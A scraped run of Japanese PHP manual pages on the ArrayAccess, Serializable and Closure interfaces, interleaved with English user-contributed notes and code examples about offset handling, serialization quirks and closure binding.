Using reset($myArrayAccessObject) returns the first property from $myArrayAccessObject, not the first item in the items array.

If you want to use the reset() method to return the first array item, then you can use the following simple workaround:

<?php
class MyArrayAccessObject implements Iterator, ArrayAccess, Countable {
    protected $first = null; //WARNING! Keep this always first.
    protected $items = null;
    private function supportReset() {
      $this->first = reset($this->items); //Support reset().
    }
    // ...
    public function offsetSet($offset, $value) {
        if ($offset === null) {
            $this->items[] = $value;
        }
        else {
            $this->items[$offset] = $value;
        }
        $this->supportReset();
    }
}
?>

Finally, call $this->supportReset() in the end of all methods that change the internal $items array, such as in offsetSet(), offsetUnset() etc.

This way, you can use the reset() method as normally:

<?php
$firstArrayItem = reset($myArrayAccessObject);
?>
php at lanar dot com dot au 27-Jan-2014 01:35
Objects implementing ArrayAccess do not support the increment/decrement operators ++ and --, unlike array() and ArrayObject()

<?php

class MyArray implements ArrayAccess
{
    // offsetSet, offsetGet etc implemented
}

$x = new MyArray() ;
$x[0] = 0 ;
$x[0]++ ; //error 'Indirect modification of overloaded element has no effect'
$x[0] += 1 ; // this works OK.

?>
Yousef Ismaeil Cliprz 11-Dec-2013 07:38
<?php

/**
 * ArrayAndObjectAccess
 * Yes you can access class as array and the same time as object
 *
 * @author Yousef Ismaeil <cliprz@gmail.com>
 */

class ArrayAndObjectAccess implements ArrayAccess {

    /**
     * Data
     *
     * @var array
     * @access private
     */
    private $data = [];

    /**
     * Get a data by key
     *
     * @param string The key data to retrieve
     * @access public
     */
    public function &__get ($key) {
        return $this->data[$key];
    }

    /**
     * Assigns a value to the specified data
     *
     * @param string The data key to assign the value to
     * @param mixed  The value to set
     * @access public
     */
    public function __set($key,$value) {
        $this->data[$key] = $value;
    }

    /**
     * Whether or not an data exists by key
     *
     * @param string An data key to check for
     * @access public
     * @return boolean
     * @abstracting ArrayAccess
     */
    public function __isset ($key) {
        return isset($this->data[$key]);
    }

    /**
     * Unsets an data by key
     *
     * @param string The key to unset
     * @access public
     */
    public function __unset($key) {
        unset($this->data[$key]);
    }

    /**
     * Assigns a value to the specified offset
     *
     * @param string The offset to assign the value to
     * @param mixed  The value to set
     * @access public
     * @abstracting ArrayAccess
     */
    public function offsetSet($offset,$value) {
        if (is_null($offset)) {
            $this->data[] = $value;
        } else {
            $this->data[$offset] = $value;
        }
    }

    /**
     * Whether or not an offset exists
     *
     * @param string An offset to check for
     * @access public
     * @return boolean
     * @abstracting ArrayAccess
     */
    public function offsetExists($offset) {
        return isset($this->data[$offset]);
    }

    /**
     * Unsets an offset
     *
     * @param string The offset to unset
     * @access public
     * @abstracting ArrayAccess
     */
    public function offsetUnset($offset) {
        if ($this->offsetExists($offset)) {
            unset($this->data[$offset]);
        }
    }

    /**
     * Returns the value at specified offset
     *
     * @param string The offset to retrieve
     * @access public
     * @return mixed
     * @abstracting ArrayAccess
     */
    public function offsetGet($offset) {
        return $this->offsetExists($offset) ? $this->data[$offset] : null;
    }

}

?>

Usage

<?php
$foo = new ArrayAndObjectAccess();
// Set data as array and object
$foo->fname = 'Yousef';
$foo->lname = 'Ismaeil';
// Call as object
echo 'fname as object '.$foo->fname."\n";
// Call as array
echo 'lname as array '.$foo['lname']."\n";
// Reset as array
$foo['fname'] = 'Cliprz';
echo $foo['fname']."\n";

/** Outputs
fname as object Yousef
lname as array Ismaeil
Cliprz
*/

?>
ivan dot dossev at gmail dot com 20-Apr-2013 07:09
Sadly you cannot assign by reference with the ArrayAccess (at least in PHP 5.3.23)
It's too bad there is no syntax for optionally passing variables by reference to functions (a feature in retro PHP).
That option would have let ArrayAccess fully mimic the functionality of normal array assignments:

<?php
$var = 'hello';
$arr = array();
$arr[0] = $var;
$arr[1] = &$var;
$var = 'world';
var_dump($arr[0], $arr[1]);

// string(5) "hello"
// string(5) "world"
?>

Declaring "function offsetSet($offset, &$value)" will cause a fatal error.
So to assign by ref you can use an ugly function call, for example:

<?php
class obj implements ArrayAccess {

    // ... ArrayAccess example code ...

    public function &offsetSetRef($offset, &$value) {
        if (is_null($offset)) {
            $this->container[] = &$value;
        } else {
            $this->container[$offset] = &$value;
        }
        return $value; // should return in case called within an assignment chain
    }
}

$var = 'hello';
$obj = new obj();
$obj[0] = $var;
//$obj[1] = &$var; // Fatal error: Cannot assign by reference to overloaded object
$obj->offsetSetRef(1, $var); // the work around
$var = 'world';
var_dump($obj[0], $obj[1]);

// string(5) "hello"
// string(5) "world"

?>
Hayley Watson 31-Mar-2013 12:25
The indexes used in an ArrayAccess object are not limited to strings and integers as they are for arrays: you can use any type for the index as long as you write your implementation to handle them. This fact is exploited by the SplObjectStorage class.
jojor at gmx dot net 12-Dec-2012 01:08
Conclusion: Type hints \ArrayAccess and array are not compatible.

<?php

     class MyArrayAccess implements \ArrayAccess
     {
         public function offsetExists($offset)
         {

         }

         public function offsetSet($offset, $value)
         {

         }

         public function offsetGet($offset)
         {

         }

         public function offsetUnset($offset)
         {

         }
     }

     function test(array $arr)
     {
     }

     function test2(\ArrayAccess $arr)
     {

     }

     $arrObj = new MyArrayAccess();
     test([]); //result: works!
     test($arrObj); //result: does NOT work
     test2([]); //result: does NOT work
     test2($arrObj); // result: works!
?>
Per 20-May-2011 02:16
It bit me today, so putting it here in the hope it will help others:
If you call array_key_exists() on an object of a class that implements ArrayAccess, ArrayAccess::offsetExists() wil NOT be called.
max at flashdroid dot com 05-Apr-2010 06:49
Objects implementing ArrayAccess may return objects by references in PHP 5.3.0.

You can implement your ArrayAccess object like this:

    class Reflectable implements ArrayAccess {

        public function set($name, $value) {
            $this->{$name} = $value;
        }

        public function &get($name) {
            return $this->{$name};
        }

        public function offsetGet($offset) {
            return $this->get($offset);
        }

        public function offsetSet($offset, $value) {
            $this->set($offset, $value);
        }

        ...

    }

This base class allows you to get / set your object properties using the [] operator just like in Javascript:

    class Boo extends Reflectable {
        public $name;
    }

    $obj = new Boo();
    $obj['name'] = "boo";
    echo $obj['name']; // prints boo


オフセットが存在するかどうか

  • ≪ ArrayAccess
  • ArrayAccess::offsetGet ≫
  • PHP Manual
  • ArrayAccess
  • オフセットが存在するかどうか

ArrayAccess::offsetExists

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetExists — オフセットが存在するかどうか

説明

abstract public ArrayAccess::offsetExists ( mixed $offset ) : bool

オフセットが存在するかどうかを返します。

このメソッドが実行されるのは、ArrayAccess を実装したオブジェクト上で isset() あるいは empty() を使用した場合です。

注意:

empty() を使用すると ArrayAccess::offsetGet() がコールされ、ArrayAccess::offsetExists() が true を返すかどうかで空かどうかを判断します。

パラメータ

offset

調べたいオフセット。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意:

非 boolean 値が返された場合は bool にキャストして返します。

例

例1 ArrayAccess::offsetExists() の例

<?php
class obj implements arrayaccess {
    public function offsetSet($offset, $value) {
        var_dump(__METHOD__);
    }
    public function offsetExists($var) {
        var_dump(__METHOD__);
        if ($var == "foobar") {
            return true;
        }
        return false;
    }
    public function offsetUnset($var) {
        var_dump(__METHOD__);
    }
    public function offsetGet($var) {
        var_dump(__METHOD__);
        return "value";
    }
}

$obj = new obj;

echo "Runs obj::offsetExists()\n";
var_dump(isset($obj["foobar"]));

echo "\nRuns obj::offsetExists() and obj::offsetGet()\n";
var_dump(empty($obj["foobar"]));

echo "\nRuns obj::offsetExists(), *not* obj:offsetGet() as there is nothing to get\n";
var_dump(empty($obj["foobaz"]));
?>

上の例の出力は、 たとえば以下のようになります。

Runs obj::offsetExists()
string(17) "obj::offsetExists"
bool(true)

Runs obj::offsetExists() and obj::offsetGet()
string(17) "obj::offsetExists"
string(14) "obj::offsetGet"
bool(false)

Runs obj::offsetExists(), *not* obj:offsetGet() as there is nothing to get
string(17) "obj::offsetExists"
bool(true)

User Contributed Notes

Martin Q 22-Oct-2019 09:24
It seems that in PHP 7, if this method returns FALSE then offsetGet() will return NULL (in PHP 5, offsetGet() didn't first check what value offsetExists() returned).  So if your code suddenly stops working when you upgrade to PHP 7 make sure that offsetExists() returns a sensible value!
kgun ! mail ! com 08-Feb-2019 11:41
If you care about key-strictness, you may need to use an alternative solution (maybe overriding offsetExists() in subclass(es)). So, offsetExists() acts like array_key_exists() and does not handle the key types. Here;

<?php
$array = ['one', 'two', 3.=>'boom!'];
$arrayObject = new ArrayObject($array);
$key = '3';
var_dump(array_key_exists($key, $array)); // bool(true)
var_dump(in_array($key, array_keys($array), true)); // bool(false)
var_dump($arrayObject->offsetExists($key)); // bool(true)
var_dump(in_array($key, array_keys($arrayObject->getArrayCopy()), true)); // bool(false)

// @override;
public function offsetExists($key)
{
    // make a strict check
    return in_array($key, array_keys($this->getArrayCopy()), true);
}
?>
driezasson at icloud dot com 02-Mar-2015 07:10
Note that even though isset/empty works on classes implementing ArrayAccess, array_key_exists does not. At least not in PHP 5.3.


オフセットを取得する

  • ≪ ArrayAccess::offsetExists
  • ArrayAccess::offsetSet ≫
  • PHP Manual
  • ArrayAccess
  • オフセットを取得する

ArrayAccess::offsetGet

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetGet — オフセットを取得する

説明

abstract public ArrayAccess::offsetGet ( mixed $offset ) : mixed

指定したオフセットの値を返します。

このメソッドは、オフセットが empty() かどうかを調べる際に実行されます。

パラメータ

offset

取得したいオフセット。

注意

注意:

このメソッドの実装で参照を返すことができます。 これにより、ArrayAccess オブジェクトのオーバーロードされた配列に対する間接的な変更ができます。

直接的な変更とは、$obj[6] = 7 のように配列のその次元の値を完全に置き換える変更のことです。 一方、間接的な変更とは、$obj[6][7] = 7 のようにその次元の一部分のみを変更したり $var =& $obj[6] のように他の変数に参照を代入したりする変更のことです。 ++ によるインクリメントや -- によるデクリメントもまた、ある意味では間接的な変更を要するものです。

直接的な変更の際には ArrayAccess::offsetSet() がコールされますが、間接的な変更の際には ArrayAccess::offsetGet() がコールされます。この場合は ArrayAccess::offsetGet() の実装が参照を返せるようにしておく必要があります。 そうしなければ E_NOTICE メッセージが発生します。

返り値

すべての型の値を返すことができます。

参考

  • ArrayAccess::offsetExists() - オフセットが存在するかどうか

User Contributed Notes

Martin Q 22-Oct-2019 09:28
As of PHP 7, offsetExists($offset) must return a TRUE value in order for offsetGet($offset) to be called, otherwise offsetGet($offset) will just return NULL.  This was not the case in PHP 5, so if your code suddenly stops working upon upgrade to PHP 7, make sure offsetExists() returns sensible values.


指定したオフセットに値を設定する

  • ≪ ArrayAccess::offsetGet
  • ArrayAccess::offsetUnset ≫
  • PHP Manual
  • ArrayAccess
  • 指定したオフセットに値を設定する

ArrayAccess::offsetSet

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetSet — 指定したオフセットに値を設定する

説明

abstract public ArrayAccess::offsetSet ( mixed $offset , mixed $value ) : void

指定したオフセットに値を代入します。

パラメータ

offset

値を代入したいオフセット。

value

設定したい値。

返り値

値を返しません。

注意

注意:

下記の例のように、もし他の値が利用できなければ、 offset パラメータは null に設定されます。

<?php
$arrayaccess[] = "first value";
$arrayaccess[] = "second value";
print_r($arrayaccess);
?>

上の例の出力は以下となります。

Array
(
    [0] => first value
    [1] => second value
)

注意:

この関数は、参照による代入の場合にはコールされません。また、 ArrayAccess でオーバーロードした配列の次元への間接的な変更 (間接的な変更とは、その次元を直接変更するのではなく 下位の次元やプロパティを変更したり、配列の次元を別の変数に参照で代入したりすることです) の場合にもコールされません。これらの場合は、かわりに ArrayAccess::offsetGet() がコールされます。 この操作が成功するのはメソッドが参照を返せるようになっているときだけです。

User Contributed Notes

There are no user contributed notes for this page.


オフセットの設定を解除する

  • ≪ ArrayAccess::offsetSet
  • Serializable ≫
  • PHP Manual
  • ArrayAccess
  • オフセットの設定を解除する

ArrayAccess::offsetUnset

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetUnset — オフセットの設定を解除する

説明

abstract public ArrayAccess::offsetUnset ( mixed $offset ) : void

オフセットの設定を解除します。

注意:

このメソッドは、 (unset) による型キャストの際にはコール されません。

パラメータ

offset

設定解除したいオフセット。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Serializable インターフェイス

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

はじめに

独自のシリアライズ用のインターフェイスです。

このインターフェイスを実装したクラスは
__sleep() や
__wakeup() をサポートしなくなります。
シリアライズが必要な場合には、自動的に serialize メソッドがコールされます。
このメソッドは __destruct() を実行しません。また、
メソッド内で明示的に書かない限りは一切の副作用を及ぼしません。
アンシリアライズされるときにはそのクラスが自動的に検知し、__construct()
メソッドのかわりに適切な unserialize() メソッドがコールされます。
標準のコンストラクタを実行させたい場合は、unserialize() メソッドの中でそれをコールします。

インターフェイス概要

Serializable {
/* メソッド */
abstract public serialize ( ) : string|null
abstract public unserialize ( string $serialized ) : void
}

例1 基本的な使用法

<?php
class obj implements Serializable {
    private $data;
    public function __construct() {
        $this->data = "My private data";
    }
    public function serialize() {
        return serialize($this->data);
    }
    public function unserialize($data) {
        $this->data = unserialize($data);
    }
    public function getData() {
        return $this->data;
    }
}

$obj = new obj;
$ser = serialize($obj);

var_dump($ser);

$newobj = unserialize($ser);

var_dump($newobj->getData());
?>

上の例の出力は、 たとえば以下のようになります。

string(38) "C:3:"obj":23:{s:15:"My private data";}"
string(15) "My private data"

目次

  • Serializable::serialize — オブジェクトの文字列表現
  • Serializable::unserialize — オブジェクトを作成する

User Contributed Notes

info at ensostudio dot ru 26-Sep-2020 10:55
Note: that interface declared as "deprecated" in PHP 7.4, use magic methods __serialize() and __unserialize()  instead .
shaun at slickdesign dot com dot au 11-Jan-2018 07:27
Serialized strings differ between instances that implement Serializable and those that don't.

Instances that don't implement Serializable use the Object notation "O:" when serialized, while those that do use the Class notation "C:". Class notation can only be used to unserialize instances that implement Serializable, while the Object notation can be used to unserialize any object.

Because of this, it is sometimes useful to implement the __wakeup() function when implementing Serializable, for instances where you may have a copy of the serialised class before it implemented Serializable (backwards compatible), or when you're expecting a serialized object from an external source, and they use Object notation for maximum compatibility. You can also use __wakeup() to process your unserialize function, or use it to help prevent people trying to bypass your unserialize.

Below is an example of a simple class hierarchy, where A is a standard class, B implements Serializable, and C uses __wakeup() to assist with unserializing it.

<?php
class A {
    protected $readonly_data = true;
    public $public_data = true;

    public function __construct( $data = true ) {
        $this->public_data = $data;
    }

    public function get_readonly_data() {
        return $this->readonly_data;
    }
}

$a = new A;

var_dump( $a );
//object(A)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(true)
//  ["public_data"]=>
//  bool(true)
//}
var_dump( serialize( $a ) );
//string(63) "O:1:"A":2:{s:16:"*readonly_data";b:1;s:11:"public_data";b:1;}"
?>
Class A outputs the following object, and its serialized string uses the object notation "O:". Please note that there is a null byte "\0" either side of the star*.

Changing the serialised string and unserializing it can cause protected and private values to change.
<?php
var_dump( unserialize( "O:1:\"A\":2:{s:16:\"\0*\0readonly_data\";b:0;s:11:\"public_data\";b:0;}" ) );
//object(A)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(false)
//  ["public_data"]=>
//  bool(false)
//}
?>

Class B extends A, and so has the same constructor and properties. It also implements Serializable.
<?php
class B extends A implements Serializable {
    public function serialize() {
        return serialize( $this->public_data );
    }

    public function unserialize( $data ) {
        $this->public_data = unserialize ( $data );
        do_extra_processing_here();
    }
}

$b = new B;

var_dump( serialize( $b ) );
// C:1:"B":4:{b:1;}
?>
As well as being a lot shorter, the serialized string uses the Class notation "C:", but you can still unserialize it using the older style notation. Doing this however will completely ignore the unserialize() function, potentially update the wrong information, and the function do_extra_processing_here() from the example above is not called.
<?php
var_dump( unserialize( "O:1:\"B\":2:{s:16:\"\0*\0readonly_data\";b:0;s:11:\"public_data\";b:0;}" ) );
//object(B)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(false)
//  ["public_data"]=>
//  bool(false)
//}
?>

Class C extends B, so it's already using the serialize() and unserialize() functions. By implementing the __wakeup() method, we ensure that we are validating the information and performing our do_extra_processing_here() function.
<?php
class C extends B {
    public function __wakeup() {
        $new = new static;
        $this->readonly_data = $new->get_readonly_data();
        do_extra_processing_here();
    }
}

var_dump( unserialize( "O:1:\"C\":2:{s:16:\"\0*\0readonly_data\";b:0;s:11:\"public_data\";b:0;}" ) );
//object(B)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(true)
//  ["public_data"]=>
//  bool(false)
//}
?>
We can use __wakeup() to revert our readonly data back to what it was, or to add additional processing. You can additionally call __wakeup() from within unserialize() if you need to do the same process regardless of which serialized string notation was used.
Wojciech Brozyna 05-Aug-2016 08:56
My solution that let you serialize inherited objects.
Without specify what need to be serialized.
We want to get rid of PDO object in this example.

abstract class DefaultModel() implements \Serializable
{

    /**
    * @var PDO
    */
    private $pdo;

    /**
     * Serialize object
     *
     * @return string
     */
    public function serialize()
    {

        $serializable = get_object_vars($this);

        // unset property name that hold PDO instance
        unset($serializable['pdo']);

        return serialize($serializable);

    }

    /**
     * Unserialize object
     *
     * @param string $serialized Serialized object
     * @return DefaultModel
     */
    public function unserialize($serialized)
    {

        $unserialized = unserialize($serialized);

       // recreate PDO object
        $this->pdo = $this->createDBObject();

        if(is_array($unserialized) === true) {

            foreach($unserialized as $property => $value) {

                $this->{$property} = $value;

            }

        }

    }

}

class RealModel extends DefaultModel
{

    private $myVar;

    public function setMyVar($value)
    {

        $this->myVar = $value;

    }

}

$model = new RealModel();
$model->setMyVar('123456');

$serialized = serialize($model);
$serialized = $model->serialize();   // will also work

print_r($serialized);

$unserialized = unserialize($serialized);

print_r($unserialized);

Hope this help.
grzeniufication 05-Nov-2015 09:19
Here's an example how to un-, serialize more than one property:

class Example implements \Serializable
{
    protected $property1;
    protected $property2;
    protected $property3;

    public function __construct($property1, $property2, $property3)
    {
        $this->property1 = $property1;
        $this->property2 = $property2;
        $this->property3 = $property3;
    }

    public function serialize()
    {
        return serialize([
            $this->property1,
            $this->property2,
            $this->property3,
        ]);
    }

    public function unserialize($data)
    {
        list(
            $this->property1,
            $this->property2,
            $this->property3
        ) = unserialize($data);
    }

}
Olivier Pons 13-May-2014 04:19
Here's the way you could implement serializable so that *ALL* descendant serialize themselves without the need of re-writing for all descendant the functions serialize() and unserialize().

Note : this will only serialize "visible" properties, this it won't serialize private descendant properties. If you dont want a property of a descendant to be serialized, make it private.

class Pot implements Serializable
{
    protected $_a;
    protected $_b;

    public function serialize()
    {
        return serialize(get_object_vars($this));
    }
    public function unserialize($data)
    {
        $values = unserialize($data);
        foreach ($values as $key=>$value) {
            $this->$key = $value;
        }
    }
}

And now one descendant:

class PotId implements Pot
{
    protected $_k;
}

class Pots implements PotId
{
    protected $_l;
}

$pots = new Pots();

and calling serialize($pots) will serialize all properties ($_a, $_b, $_k, $l).
marcos dot gottardi at folha dot REM0VE-THIS dot com dot br 13-Jan-2012 09:05
Serializing child and parent classes:

<?php
class MyClass implements Serializable {
    private $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function getData() {
        return $this->data;
    }

    public function serialize() {
        echo "Serializing MyClass...\n";
        return serialize($this->data);
    }

    public function unserialize($data) {
        echo "Unserializing MyClass...\n";
        $this->data = unserialize($data);
    }
}

class MyChildClass extends MyClass {
    private $id;
    private $name;

    public function __construct($id, $name, $data) {
        parent::__construct($data);
        $this->id = $id;
        $this->name = $name;
    }

    public function serialize() {
        echo "Serializing MyChildClass...\n";
        return serialize(
            array(
                'id' => $this->id,
                'name' => $this->name,
                'parentData' => parent::serialize()
            )
        );
    }

    public function unserialize($data) {
        echo "Unserializing MyChildClass...\n";
        $data = unserialize($data);

        $this->id = $data['id'];
        $this->name = $data['name'];
        parent::unserialize($data['parentData']);
    }

    public function getId() {
        return $this->id;
    }

    public function getName() {
        return $this->name;
    }
}

$obj = new MyChildClass(15, 'My class name', 'My data');

$serial = serialize($obj);
$newObject = unserialize($serial);

echo $newObject->getId() . PHP_EOL;
echo $newObject->getName() . PHP_EOL;
echo $newObject->getData() . PHP_EOL;

?>

This will output:

Serializing MyChildClass...
Serializing MyClass...
Unserializing MyChildClass...
Unserializing MyClass...
15
My class name
My data
Anonymous 12-May-2011 06:09
You can prevent an object getting unserialized by returning NULL. Instead of a serialized object, PHP will return the serialized form of NULL:

<?php
class testNull implements Serializable {
    public function serialize() {
        return NULL;
    }
    public function unserialize($data) {
    }
}

$obj = new testNull;
$string = serialize($obj);
echo $string; // "N;"
?>

That's perhaps better than throwing exceptions inside of the serialize function if you want to prevent serialization of certain objects.


オブジェクトの文字列表現

  • ≪ Serializable
  • Serializable::unserialize ≫
  • PHP Manual
  • Serializable
  • オブジェクトの文字列表現

Serializable::serialize

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Serializable::serialize — オブジェクトの文字列表現

説明

abstract public Serializable::serialize ( ) : string|null

オブジェクトを文字列であらわしたものを返します。

パラメータ

この関数にはパラメータはありません。

返り値

オブジェクトの文字列表現、あるいは null を返します。

エラー / 例外

文字列や null 以外の型を返すときに Exception をスローします。

参考

  • __sleep()
  • __serialize()

User Contributed Notes

John 30-Sep-2017 10:52
I don't like the bad docs here, which are wrongly claiming that "serialize(): This method acts as the destructor of the object. The __destruct() method will not be called after this method.".

They are simply meaning that serialize() will NOT call __destruct(). That is the ONLY thing they mean.

Your object that is being serialized will continue to live as a normal object. So you should NOT treat serialize() as your destructor! Treat your object as a still-living copy that the user may be using!

The destructor will always run as normal, later, when your object goes out of scope (or is forcibly unset() by you)).

Example with proof:

<?php

class A implements Serializable
{
    public $data = [];

    public function __destruct()
    {
        echo "Destruct of A called.\n";
    }

    public function serialize()
    {
        printf("- Serialize of %s called.\n", static::class);
        return serialize($this->data);
    }

    public function unserialize($serialized)
    {
        printf("- Unserialize of %s called.\n", static::class);
        $this->data = unserialize($serialized);
    }
}

class B extends A
{
    public function __destruct()
    {
        echo "Destruct of B called.\n";
    }
}

$a = new A();
$a->data['inner_b'] = new B();
var_dump($a);

echo "-----------------\n";
echo "Calling serialize($a):\n";
$str = serialize($a);
echo "-----------------\n";
echo "End of script shutdown from here on:...\n";

?>

Result:

```
object(A)#1 (1) {
  ["data"]=>
  array(1) {
    ["inner_b"]=>
    object(B)#2 (1) {
      ["data"]=>
      array(0) {
      }
    }
  }
}
-----------------
Calling serialize($a):
- Serialize of A called.
- Serialize of B called.
-----------------
End of script shutdown from here on:...
Destruct of A called.
Destruct of B called.
```
crog at gustavus dot edu 07-Nov-2013 05:30
The documentation here is somewhat misleading. Where it says "This method acts as the destructor of the object. The __destruct() method will not be called after this method," I believe the intent is not that the destructor is not run on the object itself, but that the destructor is not called /as part of the serialization process/.

That is, the object will still be destructed as it goes out of scope as normal, but the destructor is not called as a part of the object's serialization.


オブジェクトを作成する

  • ≪ Serializable::serialize
  • Closure ≫
  • PHP Manual
  • Serializable
  • オブジェクトを作成する

Serializable::unserialize

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Serializable::unserialize — オブジェクトを作成する

説明

abstract public Serializable::unserialize ( string $serialized ) : void

オブジェクトのアンシリアライズ時にコールされます。

注意:

このメソッドは、オブジェクトの コンストラクタ として働きます。 このメソッドの後に __construct() メソッドがコールされることは ありません。

パラメータ

serialized

オブジェクトの文字列表現。

返り値

このメソッドの返り値は無視されます。

参考

  • __wakeup()
  • __unserialize()

User Contributed Notes

There are no user contributed notes for this page.


Closure クラス

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

はじめに

無名関数 を表すために使うクラスです。

無名関数は、Closure 型のオブジェクトを生成します。 このクラスにはメソッドが用意され、 生成した無名関数をさらにコントロールできるようになっています。

ここであげたメソッド以外にも、このクラスには __invoke メソッドが存在します。 これは、マジックコール を実装した他のクラスとの一貫性を保つためのものであり、 関数をコールするときにこのメソッドは使われません。

クラス概要

Closure {
/* メソッド */
private __construct ( )
public static bind ( Closure $closure , object $newthis , mixed $newscope = "static" ) : Closure|false
public bindTo ( object $newthis , mixed $newscope = "static" ) : Closure|false
public call ( object $newthis , mixed ...$values ) : mixed
public static fromCallable ( callable $callable ) : Closure
}

目次

  • Closure::__construct — インスタンス作成を無効化したコンストラクタ
  • Closure::bind — バインドされたオブジェクトとクラスのスコープでクロージャを複製する
  • Closure::bindTo — 新しくバインドしたオブジェクトとクラスのスコープで、クロージャを複製する
  • Closure::call — クロージャを束縛して呼び出す
  • Closure::fromCallable — callable をクロージャに変換する

User Contributed Notes

joe dot scylla at gmail dot com 08-Apr-2016 08:46
Small little trick. You can use a closures in itself via reference.

Example to delete a directory with all subdirectories and files:

<?php
$deleteDirectory = null;
$deleteDirectory = function($path) use (&$deleteDirectory) {
    $resource = opendir($path);
    while (($item = readdir($resource)) !== false) {
        if ($item !== "." && $item !== "..") {
            if (is_dir($path . "/" . $item)) {
                $deleteDirectory($path . "/" . $item);
            } else {
                unlink($path . "/" . $item);
            }
        }
    }
    closedir($resource);
    rmdir($path);
};
$deleteDirectory("path/to/directoy");
?>
luk4z_7 at hotmail dot com 14-Jun-2015 05:42
Scope
A closure encapsulates its scope, meaning that it has no access to the scope in which it is defined or executed. It is, however, possible to inherit variables from the parent scope (where the closure is defined) into the closure with the use keyword:

function createGreeter($who) {
              return function() use ($who) {
                  echo "Hello $who";
              };
}

$greeter = createGreeter("World");
$greeter(); // Hello World

This inherits the variables by-value, that is, a copy is made available inside the closure using its original name.
font: Zend Certification Study Guide.
chuck at bajax dot us 09-Jun-2015 04:16
This caused me some confusion a while back when I was still learning what closures were and how to use them, but what is referred to as a closure in PHP isn't the same thing as what they call closures in other languages (E.G. JavaScript).

In JavaScript, a closure can be thought of as a scope, when you define a function, it silently inherits the scope it's defined in, which is called its closure, and it retains that no matter where it's used.  It's possible for multiple functions to share the same closure, and they can have access to multiple closures as long as they are within their accessible scope.

In PHP,  a closure is a callable class, to which you've bound your parameters manually.

It's a slight distinction but one I feel bears mentioning.


インスタンス作成を無効化したコンストラクタ

  • ≪ Closure
  • Closure::bind ≫
  • PHP Manual
  • Closure
  • インスタンス作成を無効化したコンストラクタ

Closure::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Closure::__construct — インスタンス作成を無効化したコンストラクタ

説明

private Closure::__construct ( )

このメソッドは、 Closure クラスのインスタンスを作れないようにするために存在します。 このクラスのオブジェクトを作るには、 無名関数 のページに書かれている手順を使います。

パラメータ

この関数にはパラメータはありません。

参考

  • 無名関数

User Contributed Notes

There are no user contributed notes for this page.


バインドされたオブジェクトとクラスのスコープでクロージャを複製する

  • ≪ Closure::__construct
  • Closure::bindTo ≫
  • PHP Manual
  • Closure
  • バインドされたオブジェクトとクラスのスコープでクロージャを複製する

Closure::bind

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Closure::bind — バインドされたオブジェクトとクラスのスコープでクロージャを複製する

説明

public static Closure::bind ( Closure $closure , object $newthis , mixed $newscope = "static" ) : Closure|false

このメソッドは、静的メソッド版の Closure::bindTo() です。 詳細な説明は Closure::bindTo() のドキュメントを参照ください。

パラメータ

closure

バインドする無名関数。

newthis

指定した無名関数をバインドするオブジェクト。クロージャのバインドを解除するには null を指定します。

newscope

クロージャを関連づけるクラススコープ、あるいは 'static' で現在のスコープを維持します。 オブジェクトを渡した場合は、そのオブジェクトの型をその代わりに使います。 これは、バインドしたオブジェクトの protected メソッドや private メソッドのアクセス権を決めます。 このパラメータに、内部クラスのオブジェクトを渡すことはできません。

返り値

新しい Closure オブジェクトを返します。 失敗した場合に false を返します

例

例1 Closure::bind() の例

<?php
class A {
    private static $sfoo = 1;
    private $ifoo = 2;
}
$cl1 = static function() {
    return A::$sfoo;
};
$cl2 = function() {
    return $this->ifoo;
};

$bcl1 = Closure::bind($cl1, null, 'A');
$bcl2 = Closure::bind($cl2, new A(), 'A');
echo $bcl1(), "\n";
echo $bcl2(), "\n";
?>

上の例の出力は、 たとえば以下のようになります。

1
2

参考

  • 無名関数
  • Closure::bindTo() - 新しくバインドしたオブジェクトとクラスのスコープで、クロージャを複製する

User Contributed Notes

potherca at hotmail dot com 03-Dec-2014 08:22
If you need to validate whether or not a closure can be bound to a PHP object, you will have to resort to using reflection.

<?php

/**
 * @param \Closure $callable
 *
 * @return bool
 */
function isBindable(\Closure $callable)
{
    $bindable = false;

    $reflectionFunction = new \ReflectionFunction($callable);
    if (
        $reflectionFunction->getClosureScopeClass() === null
        || $reflectionFunction->getClosureThis() !== null
    ) {
        $bindable = true;
    }

    return $bindable;
}
?>
Vincius Krolow 14-Dec-2012 12:08
With this class and method, it's possible to do nice things, like add methods on the fly to an object.

MetaTrait.php
<?php
trait MetaTrait
{

    private $methods = array();

    public function addMethod($methodName, $methodCallable)
    {
        if (!is_callable($methodCallable)) {
            throw new InvalidArgumentException('Second param must be callable');
        }
        $this->methods[$methodName] = Closure::bind($methodCallable, $this, get_class());
    }

    public function __call($methodName, array $args)
    {
        if (isset($this->methods[$methodName])) {
            return call_user_func_array($this->methods[$methodName], $args);
        }

        throw RunTimeException('There is no method with the given name to call');
    }

}
?>

test.php
<?php
require 'MetaTrait.php';

class HackThursday {
    use MetaTrait;

    private $dayOfWeek = 'Thursday';

}

$test = new HackThursday();
$test->addMethod('when', function () {
    return $this->dayOfWeek;
});

echo $test->when();

?>


新しくバインドしたオブジェクトとクラスのスコープで、クロージャを複製する

  • ≪ Closure::bind
  • Closure::call ≫
  • PHP Manual
  • Closure
  • 新しくバインドしたオブジェクトとクラスのスコープで、クロージャを複製する

Closure::bindTo

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Closure::bindTo — 新しくバインドしたオブジェクトとクラスのスコープで、クロージャを複製する

説明

public Closure::bindTo ( object $newthis , mixed $newscope = "static" ) : Closure|false

自身と同じ本体とバインド変数を持つ新しい 無名関数 を作って返します。しかし、バインドするオブジェクトは変わって新しいクラスのスコープとなります。

